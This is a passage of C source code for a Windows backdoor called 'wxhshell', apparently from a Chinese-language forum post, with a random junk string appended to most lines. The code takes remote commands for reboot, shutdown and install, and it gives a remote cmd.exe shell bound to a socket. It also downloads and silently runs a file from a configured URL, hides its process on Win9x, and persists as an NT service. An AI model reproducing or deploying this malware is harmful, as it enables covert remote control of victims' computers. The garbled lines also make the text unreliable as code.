  } >[N6_*K]  
  else { &p+2Vz{  
&k`/jl;u  
    switch(cmd[0]) { I-Q(kWc  
  @nnX{$YX  
  // 帮助 (S?qxW?  
  case '?': { -M+o;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *&5./WEOH  
    break; f7a"}.D $  
  } [B^V{nUBc  
  // 安装 e +jp,>(v  
  case 'i': { ('`mPD,  
    if(Install()) VrKLEN\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -%Jm-^F I  
    else 7H)tF&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *CVI@:Q9  
    break; ; m:I  
    } % C)|fDwN  
  // 卸载 .B! L+M< [  
  case 'r': { fG<[zt\e  
    if(Uninstall()) uZP( -}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;p"#ZS7  
    else rc}=`D`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QvzE:]pyi  
    break; m[w~h\FS  
    } Va/}|& 9  
  // 显示 wxhshell 所在路径 q#0yu"<  
  case 'p': { tbB.n  
    char svExeFile[MAX_PATH]; j[=P3Z0q  
    strcpy(svExeFile,"\n\r"); G[ q<P  
      strcat(svExeFile,ExeFile); km}E&ao  
        send(wsh,svExeFile,strlen(svExeFile),0); b:&= W>r  
    break; O_D;_v6Ii+  
    } 3ZAzv en  
  // 重启 Ct0%3]<J  
  case 'b': { .Pa6HA !  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >SS979  
    if(Boot(REBOOT)) +H _ /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?o(Y\YJf  
    else { &RlYw#*1.  
    closesocket(wsh); tY?evsVgz  
    ExitThread(0); )7F$:*e  
    } ]Wc 2$  
    break; D|8h^*Ya  
    } ^p~3H  
  // 关机 K st2.Yy  
  case 'd': { EkP(] F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e)4L}a  
    if(Boot(SHUTDOWN)) Byns6k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 68!=`49r>  
    else { CHM+@lD  
    closesocket(wsh); gk"J+uM  
    ExitThread(0); g@S?5S.Av  
    } c6HH%|  
    break; oSoU9_W  
    } j`"cU$NRM  
  // 获取shell V7>{,  
  case 's': { n 4EZy<~m  
    CmdShell(wsh); oFS)3.  
    closesocket(wsh); cK2Us+h  
    ExitThread(0); MtK5>mhZI`  
    break; V, e  
  } 6H!"oC&  
  // 退出 9Dx9alJR  
  case 'x': { 12yX`9h>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +tFl  
    CloseIt(wsh); >l!DW i6  
    break; 4Yl:1rz  
    } CFx$r_!~  
  // 离开 n5 jzVv  
  case 'q': { xr 4kBC t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .JL?RH2@8  
    closesocket(wsh); X6: c-  
    WSACleanup(); ?1MaA  
    exit(1); !4 G9`>n  
    break; u:&Lf  
        } ?!kPW^gD  
  } 9p<ZSh  
  } VBI~U?0  
)3~):+  
  // 提示信息 i9k/X&V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s:#\U!>0`  
} ~m.@{Do0p  
  } )k|_ CW~  
j]5bs*G  
  return; =`6_{<&  
} [!#<nY/C  
Kdwt^8Umh  
// shell模块句柄 m339Y2%=  
int CmdShell(SOCKET sock) <Xr {1M D  
{ l>O~^41[  
STARTUPINFO si; `V[{,!l;X  
ZeroMemory(&si,sizeof(si)); J-g<-!>RM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  mVuZ} `  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /<$\)|r  
PROCESS_INFORMATION ProcessInfo; Grw|8xN0t  
char cmdline[]="cmd"; Sq,x57-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^5 sO;vf  
  return 0; ("B[P/  
} 4R/cN' -  
>FabmIcC  
// 自身启动模式 L^0s  
int StartFromService(void) Xn 1V1sr  
{ 69$[yt>KYz  
typedef struct /!mF,oR!  
{ mew,S)dq!  
  DWORD ExitStatus; (}u2) 9  
  DWORD PebBaseAddress; LJ Aqk2k  
  DWORD AffinityMask; 93*MY7j}  
  DWORD BasePriority; cn$o$:tW  
  ULONG UniqueProcessId; M3U*'A\  
  ULONG InheritedFromUniqueProcessId; %cl=n!T  
}   PROCESS_BASIC_INFORMATION; wjm_bEi  
)E.!jL:g  
PROCNTQSIP NtQueryInformationProcess; V6C*d:  
.A. VOf_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nM1F4G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uwcm%N;I"  
{m )$b  
  HANDLE             hProcess; 0Y81B;/F  
  PROCESS_BASIC_INFORMATION pbi; YnzhvE  
5DEK`#*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kIlc$:K^  
  if(NULL == hInst ) return 0; U$fh ~w<[  
6{ql.2 Fa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W/3,vf1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W'BB FG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :QGd/JX$n`  
gua +-##)  
  if (!NtQueryInformationProcess) return 0; [!ghI%VK  
I$Bu6x!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?~vVSY  
  if(!hProcess) return 0; `*J;4Ju@  
iz&$q]P8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; arR9uxP  
.>Gnb2  
  CloseHandle(hProcess); -_bnGY%,  
rff=ud>Jf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sw={bUr6G`  
if(hProcess==NULL) return 0; [\ M$a|K  
o"te7nBI  
HMODULE hMod; F%t_9S,)O  
char procName[255]; Df\~ ZWs!  
unsigned long cbNeeded; J|9kWjOf+i  
-K 7jigac  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eDh]uKg  
OlW|qj  
  CloseHandle(hProcess); ZPktZ  
[z2XK4\e1T  
if(strstr(procName,"services")) return 1; // 以服务启动 f4JmY1)@  
TY(B]Q_o  
  return 0; // 注册表启动 0]3 ,0s $}  
} r\OunGUP  
Vq'\`$_  
// 主模块 lEcZ/  
int StartWxhshell(LPSTR lpCmdLine) 77FI&*q  
{ Gb=pQ (n4  
  SOCKET wsl; NUlp4i~Q  
BOOL val=TRUE; emhI1 *}  
  int port=0; Z*+0gJ<Y  
  struct sockaddr_in door; a'T8U1  
#Tz$ona  
  if(wscfg.ws_autoins) Install(); qXOWCYqs  
y9K U&L2  
port=atoi(lpCmdLine); g[oa'.*OB  
9g7d:zG  
if(port<=0) port=wscfg.ws_port; -/x= `S*  
~  4v  
  WSADATA data; z%)~s/2Rs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z~g6C0  
BBV"nm_(/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }V:B,:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \k DQ[4mGq  
  door.sin_family = AF_INET; ?Uq;>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {7k Jj(Ue  
  door.sin_port = htons(port); N('=qp9  
B0h|Y.S8%1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,Wv@D"4?  
closesocket(wsl); yQT cO^E  
return 1; ?/M:  
} X#ZQpo'h  
VjI=5)+~  
  if(listen(wsl,2) == INVALID_SOCKET) { "QKCZ8_C  
closesocket(wsl); ; _ziRy  
return 1; GI se|[p  
} -w dbH`2Z"  
  Wxhshell(wsl); ^n|yfvR  
  WSACleanup(); lm;Dy*|<  
<y S|\Z|  
return 0; kB)u@`</mV  
H[S}&l\D4  
} \aN*x  
URd0|?t9^L  
// 以NT服务方式启动 Silh[8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %,1xOl4l  
{ U<YcUmX  
DWORD   status = 0; wD\viu q0  
  DWORD   specificError = 0xfffffff; &<=?O a  
kqH:H~sgD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CN{xh=2qY[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %eE0a4^".  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5%_aN_1?ef  
  serviceStatus.dwWin32ExitCode     = 0; 6e;POW  
  serviceStatus.dwServiceSpecificExitCode = 0; `f[  
  serviceStatus.dwCheckPoint       = 0; 'OACbYgG  
  serviceStatus.dwWaitHint       = 0; `SH14A*  
w;{=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;!+-fn4C  
  if (hServiceStatusHandle==0) return; $} @gR] Z  
EKD?j  
status = GetLastError(); 68?> #o865  
  if (status!=NO_ERROR) 9Q.@RO$%C  
{ 2Ij,OIcdBE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &RHZ7T  
    serviceStatus.dwCheckPoint       = 0; eJ%b"H!  
    serviceStatus.dwWaitHint       = 0; .6=;{h4cpB  
    serviceStatus.dwWin32ExitCode     = status; `53S[8  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vb8Qh601  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'ln o#  
    return; )H>?K0I  
  } k\TP3*fD  
j"A<qI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lu?:1V-  
  serviceStatus.dwCheckPoint       = 0; ]$,3vYBf  
  serviceStatus.dwWaitHint       = 0; 7w<e^H?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8og8;#mnyr  
} vdcPpj^d5  
TVM19)9  
// 处理NT服务事件,比如:启动、停止 %a?\y_a=b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jL7r1pu5  
{ p/qu4[Mm  
switch(fdwControl) MtVvi6T  
{ %g~&$oZmq  
case SERVICE_CONTROL_STOP: jqj4(J@%yr  
  serviceStatus.dwWin32ExitCode = 0; hD[r6c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BM{*5Lf  
  serviceStatus.dwCheckPoint   = 0; vGnFX0?h  
  serviceStatus.dwWaitHint     = 0; i-ww@XOQ  
  { ["#H/L]3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r8tW)"?  
  } Qr_0 L  
  return; P }^Y"zF2  
case SERVICE_CONTROL_PAUSE: kL F~^/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~.4y* &  
  break; qg/FI#r  
case SERVICE_CONTROL_CONTINUE: *b_Iby-ZD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "L;@qCfhO  
  break; WD_{bd)  
case SERVICE_CONTROL_INTERROGATE: ${rWDZ0Z  
  break; JeN]sK)8x  
}; w59q* 2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tLU@&NY`  
} /1p5KVTKv  
*fs[]q'Q  
// 标准应用程序主函数  ^We}i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t Davp:M1v  
{ ~;z] _`_Va  
NJSbS<O  
// 获取操作系统版本 w?zy/+N~  
OsIsNt=GetOsVer(); Io"3wL)2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xC9{hXg!  
^<Gxip  
  // 从命令行安装 F3K<-JK+  
  if(strpbrk(lpCmdLine,"iI")) Install(); MkHkM  
Rc3!u^?u  
  // 下载执行文件 6.a5%:  
if(wscfg.ws_downexe) { 8AuE:=?,,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )o~/yB7  
  WinExec(wscfg.ws_filenam,SW_HIDE); tSux5 yV  
} ce#Iu#qT  
'sXrtl7{^  
if(!OsIsNt) { @/?i|!6  
// 如果时win9x,隐藏进程并且设置为注册表启动 *N4/M%1P  
HideProc(); {* :^K\-  
StartWxhshell(lpCmdLine); )HC/J-  
} OjAdY\ ]1  
else z5oJQPPi  
  if(StartFromService()) Yi,`uJKh  
  // 以服务方式启动 t)Cf]]dV  
  StartServiceCtrlDispatcher(DispatchTable); ^ >&#F[aT  
else k \qFWFR  
  // 普通方式启动 5jso)`IL  
  StartWxhshell(lpCmdLine); KO7&dM  
NtM ? Jh  
return 0; |1tpXpe  
}
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只看该作者 1 发表于: 2006-10-10
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